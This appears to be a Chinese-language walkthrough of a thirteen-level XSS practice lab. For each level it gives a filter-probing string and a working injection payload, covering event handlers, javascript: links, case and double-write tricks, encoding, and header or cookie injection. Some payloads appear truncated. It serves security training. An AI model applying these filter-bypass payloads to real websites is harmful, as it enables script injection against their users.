level1(直接注入)
level2(双引号闭合标签)
测试
IPT>OonN'"\/(hrHRefEF)IPT>
发现<>"被转换,构造新的语句
">
level3(单引号闭合标签+html事件)
测试
IPT>OonN'"\/(hrHRefEF)IPT>
存在单引号,增加新的事件,构造新的语句:
'onmouseover='alert(/xss/)'
level4(双引号闭合标签+html事件)
测试
IPT>OonN'"\/(hrHRefEF)IPT>
只有双引号,没有被转换,构造新的语句:
"onmouseover='alert(/xss/)'
level5(双引号闭合标签+伪协议)
测试
IPT>OonN'"\/(hrHRefEF)IPT>
对ScRiPt和on有过滤,不能使用事件,可以使用a标签
">click me
level6(大小写转换)
测试
IPT>OonN'"\/(hrHRefEF)IPT>
尝试过后,修改语句:
">click me
level7(双写)
测试
IPT>OonN'"\/(hrHRefEF)IPT>
双写;修改语句:
">alert(/xss/)
level8(编码)
测试
IPT>OonN'"\/(hrHRefEF)IPT>
可以看出大小写,双引号,也过滤了,前面关,用过的也都不起作用。
看到有个a标签,我们可以考虑伪协议 + 字符编码。
payload:javascript:alert(/xss/)
对r、i进行编码:
javascript:alert(/xss/)
level9(http://)
测试
IPT>OonN'"\/(hrHRefEF)IPT>
javascript:alert('xsshttp://')
level10(type=“text”)
测试
IPT>OonN'"\/(hrHRefEF)IPT>
其类型为hidden,则需要重新上传,type="text",通过尝试,t_sort能够在页面显示
t_link
t_history
t_sort
t_sort=1" type="text"
"onmouseover='alert(/xss/)' type="text"
level11(referer)
查看页面代码和源码,发现可以通过referer注入命令
hackbar获取url,选择referer注入
click me!" type="button" onclick="alert(/xss/)
level12(user-agent)
查看页面代码和源码,发现可以通过user-agent注入命令
hackbar获取url,选择user-agent注入
click me!" type="button" onclick="alert(/xss/)
level13(cookie)
查看页面代码和源码,发现可以通过cookie注入命令
hackbar获取url,选择cookie注入
user=click me!" type="button" onclick="alert(/xss/)